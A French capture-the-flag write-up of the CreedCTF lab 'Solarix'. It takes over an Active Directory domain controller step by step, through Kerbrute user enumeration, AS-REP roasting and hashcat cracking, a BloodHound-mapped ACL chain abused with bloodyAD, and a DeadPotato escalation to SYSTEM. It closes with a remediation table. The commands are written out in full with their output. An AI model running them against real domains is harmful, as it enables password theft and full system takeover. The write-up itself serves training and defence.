Lab Solarix : Kerbrute, AS-REP Roasting et Abus d'ACL BloodHound vers SYSTEM via Potato
Pentest black-box d'un domaine Active Directory d'une entreprise énergétique : durcissement SMB contourné via énumération d'utilisateurs Kerberos avec Kerbrute, AS-REP Roasting nécessitant une wordlist personnalisée et des règles hashcat, abus d'une chaîne d'ACL (WriteOwner/GenericAll/ForceChangePassword) cartographiée avec BloodHound et exploitée via bloodyAD, puis élévation locale à SYSTEM via SeImpersonatePrivilege et DeadPotato pour une compromission complète.
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | CreedCTF |
| Lien | Accéder au lab |
| Cible | SOL-DC-01.solarix.energy, 192.168.203.50 |
| OS | Windows Server 2025 (Build 26100) |
| Domaine | solarix.energy |
| Type | Black-box internal pentest, aucun credential |
| Difficulté | Moyenne |
Scénario : Solarix Energy centralise l'intégralité des habilitations critiques des infrastructures énergétiques mondiales pour l'horizon 2026. Le contrôleur de domaine est correctement durci contre les techniques d'énumération SMB classiques, ce qui impose de passer par Kerberos pour obtenir un premier pied à terre, puis d'exploiter une chaîne de délégation de droits (ACL) mal configurée pour progresser jusqu'à SYSTEM.
Kill chain :
Accès réseau sans credentials
│
▼
SMB verrouillé → Kerbrute userenum → bob, alice
│
▼
AS-REP Roasting → alice vulnérable → wordlist custom + hashcat → Solarix@2026
│
▼
SMB avec alice → Flag 1 + énumération utilisateurs
│
▼
BloodHound → chaîne ACL : AddMember → WriteOwner → ForceChangePassword bob
│
▼
bloodyAD → mot de passe de bob réinitialisé → Evil-WinRM → Flag 2
│
▼
SeImpersonatePrivilege → DeadPotato → SYSTEM → Flag root
1. Reconnaissance
rustscan -b 500 -a 192.168.203.50 -- -sC -sV -Pn
Output :
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 126 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-07-01 15:16:03Z)
135/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: solarix.energy)
445/tcp open microsoft-ds? syn-ack ttl 126
464/tcp open kpasswd5? syn-ack ttl 126
593/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldapssl? syn-ack ttl 126
| ssl-cert: Subject: commonName=SOL-DC-01.solarix.energy
3268/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: solarix.energy)
3389/tcp open ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services
5985/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf syn-ack ttl 126 .NET Message Framing
[...]
Service Info: Host: SOL-DC-01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: 59m58s
Analyse :
Signature classique d'un contrôleur de domaine : DNS, Kerberos, LDAP, SMB, kpasswd, RPC over HTTP. Domaine solarix.energy, machine SOL-DC-01. Deux détails de la sortie Nmap vont directement conditionner la suite de l'attaque :
Message signing enabled and required : la signature SMB est obligatoire. Toute tentative de relais NTLM est d'emblée écartée.
clock-skew: 59m58s : un décalage d'horloge de près d'une heure entre le scanner et le DC. Kerberos tolère un écart par défaut de 5 minutes (MaxClockSkew) avant de rejeter les échanges ; ce décalage est donc largement hors tolérance et va se rappeler à nous plus tard lors d'une tentative de Kerberoasting.
Le port 3389 (RDP) et 5985 (WinRM) sont ouverts : deux vecteurs d'accès distant possibles une fois des credentials valides obtenus.
2. Énumération SMB
Connexion Anonyme et Invité
nxc smb 192.168.203.50 -u "" -p "" --smb-timeout 30
SMB 192.168.203.50 445 SOL-DC-01 [+] solarix.energy\:
La session anonyme s'ouvre. On teste ensuite le compte invité :
nxc smb 192.168.203.50 -u "guest" -p "" --smb-timeout 30
SMB 192.168.203.50 445 SOL-DC-01 [-] solarix.energy\guest: STATUS_LOGON_FAILURE
Contrairement à des labs plus permissifs, le compte guest est ici désactivé. Le point d'entrée classique "SMB guest → énumération large" est donc fermé.
Tentatives d'Énumération
nxc smb 192.168.203.50 -u "" -p "" --smb-timeout 30 --shares
SMB 192.168.203.50 445 SOL-DC-01 [-] Error enumerating shares: STATUS_ACCESS_DENIED
nxc smb 192.168.203.50 -u "" -p "" --smb-timeout 30 --rid-brute 10000
SMB 192.168.203.50 445 SOL-DC-01 [-] Error connecting: LSAD SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED
nxc smb 192.168.203.50 -u "" -p "" --smb-timeout 30 --users
SMB 192.168.203.50 445 SOL-DC-01 [+] solarix.energy\:
Trois échecs successifs : partages, RID brute force et énumération SAMR sont tous verrouillés pour la session null. Il faut changer d'approche : plutôt que de chercher des identités via SMB, on va interroger directement le service Kerberos, qui répond différemment à une requête AS-REQ selon que le username existe ou non, indépendamment de tout droit SMB.
3. Énumération des Utilisateurs via Kerbrute
Kerbrute exploite une différence de comportement du KDC lors d'une pré-authentification Kerberos (AS-REQ) : si le principal (username) n'existe pas, le KDC répond KDC_ERR_C_PRINCIPAL_UNKNOWN ; s'il existe, il répond soit KDC_ERR_PREAUTH_REQUIRED (cas normal), soit délivre directement un AS-REP (cas d'un compte sans pré-auth). Dans les deux derniers cas, le username est confirmé comme valide sans jamais avoir besoin d'un droit SMB, et sans déclencher de verrouillage de compte puisqu'aucun mot de passe n'est testé.
kerbrute userenum --dc 192.168.203.50 -d solarix.energy /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
2026/07/01 17:28:07 > [+] VALID USERNAME: bob@solarix.energy
2026/07/01 17:28:28 > [+] VALID USERNAME: alice@solarix.energy
2026/07/01 17:28:50 > [+] VALID USERNAME: Bob@solarix.energy
2026/07/01 17:28:54 > [+] VALID USERNAME: BOB@solarix.energy
2026/07/01 17:30:55 > [+] VALID USERNAME: Alice@solarix.energy
2026/07/01 17:39:04 > [+] VALID USERNAME: ALICE@solarix.energy
Kerbrute teste la wordlist telle quelle, sensible à la casse dans son affichage, mais Kerberos lui-même est insensible à la casse pour la résolution d'un principal. bob, Bob et BOB désignent donc le même compte : au final, on retient deux identités distinctes, bob et alice.
users.txt
---------
bob
alice
4. AS-REP Roasting
Référence : Kerberos AS-REP Roasting - HackTricks
Exploitation
impacket-GetNPUsers solarix.energy/ -usersfile users.txt -format hashcat -dc-ip 192.168.203.50
[-] User bob doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$alice@SOLARIX.ENERGY:bdbb4e914cfd16ea3882fb8bd8e1861b$a41623fab43e0d15f92e7826eaf6f40bf...
[-] User Bob doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User BOB doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$Alice@SOLARIX.ENERGY:3e2260e47d660edf256c97f1b64e8f29$e8913a564f69bfe1c67a3d728aa0bd4f...
$krb5asrep$23$ALICE@SOLARIX.ENERGY:b41c66c4d0f3746aaec59129869b8f62$e4ee3a228d68dff7cf2a4ba61897780e...
bob a la pré-authentification activée et n'est donc pas vulnérable. alice en revanche l'a désactivée : le KDC délivre trois AS-REP distincts, un par variante de casse testée par Kerbrute, mais qui correspondent tous au même compte et donc au même mot de passe.
Cassage : la Difficulté de ce Lab
hashcat -m 18200 -a 0 hashes.txt password.txt -r OneRuleToRuleThemAll.rule
Contrairement à un cassage rockyou.txt classique, ce hash résiste à une wordlist standard. Le mot de passe ne s'y trouve pas tel quel. Il faut construire une wordlist personnalisée à partir du contexte du lab (nom de l'entreprise, thématique "horizon 2026" mentionnée dans le briefing) et appliquer une règle de mutation hashcat OneRuleToRuleThemAll.rule qui génère automatiquement des variantes typiques (majuscule initiale, substitutions leet, suffixes numériques/spéciaux) à partir de chaque mot de la liste de base.
Le mot de passe qui ressort est : Solarix@2026
Le mot de passe suit un schéma <Nom de l'entreprise>@<Année> un pattern de mot de passe d'entreprise extrêmement commun.
Premier compte compromis :
alice : Solarix@2026
5. Énumération Authentifiée et Premier Flag
Partages SMB
nxc smb solarix.energy -u 'alice' -p 'Solarix@2026' --shares --smb-timeout 30
SMB 192.168.203.50 445 SOL-DC-01 [+] solarix.energy\alice:Solarix@2026
SMB 192.168.203.50 445 SOL-DC-01 Share Permissions Remark
SMB 192.168.203.50 445 SOL-DC-01 ADMIN$ Administration à distance
SMB 192.168.203.50 445 SOL-DC-01 C$ Partage par défaut
SMB 192.168.203.50 445 SOL-DC-01 IPC$ READ IPC distant
SMB 192.168.203.50 445 SOL-DC-01 NETLOGON READ Partage de serveur d'accès
SMB 192.168.203.50 445 SOL-DC-01 SYSVOL READ Partage de serveur d'accès
Seuls les partages par défaut sont présents. En explorant NETLOGON, un fichier MapDrives.bat contient le premier flag :

Liste des Utilisateurs
nxc smb solarix.energy -u 'alice' -p 'Solarix@2026' --users --smb-timeout 30
SMB 192.168.203.50 445 SOL-DC-01 -Username- -Last PW Set- -BadPW- -Description-
SMB 192.168.203.50 445 SOL-DC-01 Administrateur 2026-01-02 14:47:01 0 Compte d'utilisateur d'administration
SMB 192.168.203.50 445 SOL-DC-01 Invité <never> 0 Compte d'utilisateur invité
SMB 192.168.203.50 445 SOL-DC-01 krbtgt 2026-01-02 12:45:53 0 Compte de service du centre de distribution de clés
SMB 192.168.203.50 445 SOL-DC-01 alice 2026-01-02 17:14:37 0 Junior Analyst - Grid Monitoring Section
SMB 192.168.203.50 445 SOL-DC-01 bob 2026-01-02 12:57:41 0 Logistics Coordinator - Infrastructure Support
SMB 192.168.203.50 445 SOL-DC-01 [*] Enumerated 5 local users: SOLARIX
Avec des credentials valides, cette énumération se débloque intégralement. Les descriptions confirment que seuls cinq comptes existent dans ce domaine alice (analyste junior de supervision réseau électrique) et bob (coordinateur logistique infrastructure) sont les deux seuls comptes "métier" sur lesquels pivoter.
6. Tentative de Kerberoasting
impacket-GetUserSPNs -dc-ip 192.168.203.50 -request -outputfile kerberoastables.txt solarix.energy/alice:'Solarix@2026'
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
------------------------------------ ---- --------------------------------------------------------------------- -------------------------- --------------------------
STS/TurbineMonitoring.solarix.energy bob CN=Utilisateurs de gestion à distance,CN=Builtin,DC=solarix,DC=energy 2026-01-02 13:57:41.882627 2026-01-02 14:19:31.056556
[-] CCache file is not found. Skipping...
[-] SessionKeyDecryptionError: failed to decrypt session key: ciphertext integrity failure
Un SPN existe bien sur bob (STS/TurbineMonitoring.solarix.energy) un candidat idéal pour le Kerberoasting classique. Mais la demande explicite du ticket (-request) échoue avec une erreur de déchiffrement de la clé de session.
Cette piste est abandonnée et une approche différente est adoptée en cartographiant le domaine avec BloodHound.
7. Cartographie BloodHound
On collecte les données du domaine avec alice et on charge le résultat dans BloodHound. En sélectionnant "Shortest Path from Owned Objects", un chemin se dessine jusqu'à bob :

Le chemin en détail :
alice
│ (membre de)
▼
SLX-OPERATORS-GRID
│ (AddMember)
▼
SLX-IDENTITY-AUDITORS
│ (WriteOwner)
▼
SLX-TURBINE-TECHS
│ (ForceChangePassword, une fois propriétaire)
▼
bob
aliceest membre deSLX-OPERATORS-GRID, qui a AddMember surSLX-IDENTITY-AUDITORS→ elle s'y ajouteSLX-IDENTITY-AUDITORSa WriteOwner surSLX-TURBINE-TECHS→ elle s'en désigne propriétaire- Propriétaire = WriteDacl(permission de modifier les droits) implicite → elle s'accorde GenericAll(contrôle total) puis s'ajoute comme membre
SLX-TURBINE-TECHSa ForceChangePassword surbob→ reset du mot de passe sans connaître l'ancien
Chaque maillon accorde un droit qui débloque le suivant : escalade classique par abus d'ACL.
8. Exploitation de la Chaîne d'ACL avec bloodyAD
bloodyAD est utilisé pour exécuter chaque étape de la chaîne identifiée par BloodHound.
Étape 1 : Rejoindre SLX-IDENTITY-AUDITORS
bloodyad -d solarix.energy -u alice -p 'Solarix@2026' --host 192.168.203.50 add groupMember SLX-IDENTITY-AUDITORS alice
[+] alice added to SLX-IDENTITY-AUDITORS
Le droit AddMember dont hérite alice via SLX-OPERATORS-GRID permet cet ajout direct.
Étape 2 : Devenir Propriétaire de SLX-TURBINE-TECHS
bloodyad -d solarix.energy -u alice -p 'Solarix@2026' --host 192.168.203.50 set owner SLX-TURBINE-TECHS alice
[+] Old owner S-1-5-21-79240471-571113036-2636825038-512 is now replaced by alice on SLX-TURBINE-TECHS
Grâce au droit WriteOwner acquis à l'étape précédente, alice remplace directement le propriétaire actuel du groupe cible.
Étape 3 : S'Octroyer le Contrôle Total puis Rejoindre le Groupe
En tant que propriétaire, alice a le droit implicite de modifier la DACL de SLX-TURBINE-TECHS. On s'accorde d'abord un contrôle total :
bloodyad -d solarix.energy -u alice -p 'Solarix@2026' --host 192.168.203.50 add genericAll SLX-TURBINE-TECHS alice
[+] alice has now GenericAll on SLX-TURBINE-TECHS
Puis on s'ajoute comme membre du groupe :
bloodyad -d solarix.energy -u alice -p 'Solarix@2026' --host 192.168.203.50 add groupMember SLX-TURBINE-TECHS alice
[+] alice added to SLX-TURBINE-TECHS
Étape 4 : Réinitialiser le Mot de Passe de Bob
SLX-TURBINE-TECHS dispose du droit ForceChangePassword sur bob. alice, désormais membre de ce groupe, en hérite :
bloodyad -d solarix.energy -u alice -p 'Solarix@2026' --host 192.168.203.50 set password bob 'Pass123!'
[+] Password changed successfully!
Validation
nxc smb solarix.energy -u 'bob' -p 'Pass123!' --shares --smb-timeout 30
SMB 192.168.203.50 445 SOL-DC-01 [+] solarix.energy\bob:Pass123!
SMB 192.168.203.50 445 SOL-DC-01 Share Permissions Remark
SMB 192.168.203.50 445 SOL-DC-01 ADMIN$ Administration à distance
SMB 192.168.203.50 445 SOL-DC-01 C$ Partage par défaut
SMB 192.168.203.50 445 SOL-DC-01 NETLOGON READ Partage de serveur d'accès
SMB 192.168.203.50 445 SOL-DC-01 SYSVOL READ Partage de serveur d'accès
Le nouveau mot de passe fonctionne. bob s'avère membre des groupes Gestion à distance et Bureau à distance :

Deuxième compte compromis :
bob : Pass123!
9. Accès WinRM en tant que Bob et Deuxième Flag
evil-winrm -u bob -i 192.168.203.50 -p Pass123!
*Evil-WinRM* PS C:\Users\bob\Documents> whoami
solarix\bob
ls C:\Users\bob\Desktop
type C:\Users\bob\Desktop\flag2.txt
FLAG2{a7848325b91236bc00d9202a0fd25cf1}
10. Élévation de Privilèges : SeImpersonatePrivilege
En vérifiant les privilèges attribués au token de bob, le privilège SeImpersonatePrivilege ressort :

Exploitation avec DeadPotato
wget https://github.com/lypd0/DeadPotato/releases/download/v1.2/DeadPotato-NET4.exe -O DeadPotato.exe
Après upload sur la machine cible et exécution, la bascule vers un contexte SYSTEM est confirmée :

Plusieurs tentatives de rebond direct (reverse shell, accès direct au profil Administrateur) échouent. L'approche retenue est de créer un compte local avec des droits d'administration, en s'appuyant sur le contexte SYSTEM obtenu via DeadPotato pour effectuer cette opération :
Création de l'utilisateur local : attacker / Pass123!
Ajout au groupe Administrateurs local via DeadPotato (contexte SYSTEM)

11. Confirmation SYSTEM et Flag Root
Avec attacker désormais membre du groupe Administrateurs local, on établit une session SYSTEM complète via PsExec :
impacket-psexec './attacker:Pass123!@192.168.202.12'
Le préfixe ./ indique explicitement à Impacket qu'il s'agit d'un compte local à la machine et non d'un compte de domaine, une distinction nécessaire puisque attacker n'existe que dans la base SAM locale de SOL-DC-01, pas dans l'annuaire Active Directory.

NT AUTHORITY\SYSTEM
Avec un accès SYSTEM complet, le flag root est récupéré :

Compromission totale de la machine.
12. Conclusion et Remédiation
Kill Chain Complète
1. RustScan → SOL-DC-01.solarix.energy, DC durci, signing SMB requis
2. SMB null/guest → énumération classique bloquée (guest désactivé, RID brute refusé)
3. Kerbrute → énumération via Kerberos → bob, alice
4. AS-REP Roasting → alice sans pré-auth → wordlist custom + rule → Solarix@2026
5. SMB authentifié → Flag 1 (NETLOGON\MapDrives.bat)
6. Kerberoasting → échoue (décalage d'horloge ~1h)
7. BloodHound → chemin ACL alice → bob (WriteOwner/GenericAll/ForceChangePassword)
8. bloodyAD (4 étapes) → mot de passe de bob réinitialisé
9. Evil-WinRM (bob) → Flag 2
10. SeImpersonatePrivilege → DeadPotato → SYSTEM
11. Compte local attacker → ajouté aux Administrateurs via SYSTEM
12. impacket-psexec → NT AUTHORITY\SYSTEM → Flag root
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| Énumération d'utilisateurs via Kerberos | Le KDC distingue un principal inconnu d'un principal valide, permettant l'énumération sans SMB | Surveiller les volumes anormaux de requêtes AS-REQ échouées (KDC_ERR_C_PRINCIPAL_UNKNOWN) via l'audit avancé Kerberos, indicateur d'un balayage d'usernames |
| AS-REP Roasting sur alice | La pré-authentification Kerberos est désactivée sur un compte utilisateur standard | Activer la pré-authentification pour tous les comptes ; auditer avec Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
Mot de passe prévisible (Solarix@2026) | Schéma <Entreprise>@<Année>, facilement devinable ou générable en wordlist ciblée | Bannir les mots de passe basés sur le nom de l'entreprise ou l'année en cours via une politique de mots de passe personnalisée (Azure AD Password Protection ou équivalent) |
| Credentials/flag exposés dans NETLOGON | Un script MapDrives.bat accessible en lecture par tout utilisateur authentifié expose des données sensibles | Restreindre les scripts de logon aux seules données strictement nécessaires ; ne jamais y stocker de secrets ou d'informations sensibles |
| Chaîne d'ACL AddMember/WriteOwner/ForceChangePassword | Une délégation de droits en cascade permet à un compte junior d'atteindre un autre compte via trois groupes intermédiaires | Auditer régulièrement les ACL des groupes sensibles avec BloodHound côté défense ; appliquer le principe du moindre privilège sur les délégations AddMember et WriteOwner |
| SeImpersonatePrivilege sur un compte de service | bob dispose d'un privilège normalement réservé aux comptes de service IIS/MSSQL | Restreindre SeImpersonatePrivilege aux seuls comptes de service en ayant un besoin fonctionnel réel ; envisager des mitigations comme les Protected Process Light pour les services sensibles |
| Élévation locale via Potato | Aucune segmentation entre le contexte utilisateur et SYSTEM une fois le privilège obtenu | Maintenir les correctifs Windows à jour (certaines variantes Potato sont patchées), surveiller la création de comptes locaux et l'ajout au groupe Administrateurs via l'EDR |
[!NOTE] Ce lab combine deux familles d'attaques bien distinctes : une escalade Kerberos classique (énumération + AS-REP Roasting) pour obtenir un premier accès, puis une escalade par abus de délégation d'ACL cartographiée avec BloodHound pour pivoter d'un compte à un autre au sein du domaine, avant de basculer sur une escalade locale via
SeImpersonatePrivilege. C'est un bon résumé des trois grandes familles d'escalade en environnement Active Directory : Kerberos, ACL/délégation, et privilèges Windows locaux, souvent enchaînées les unes aux autres dans un engagement réel.
Writeup rédigé par Zcook
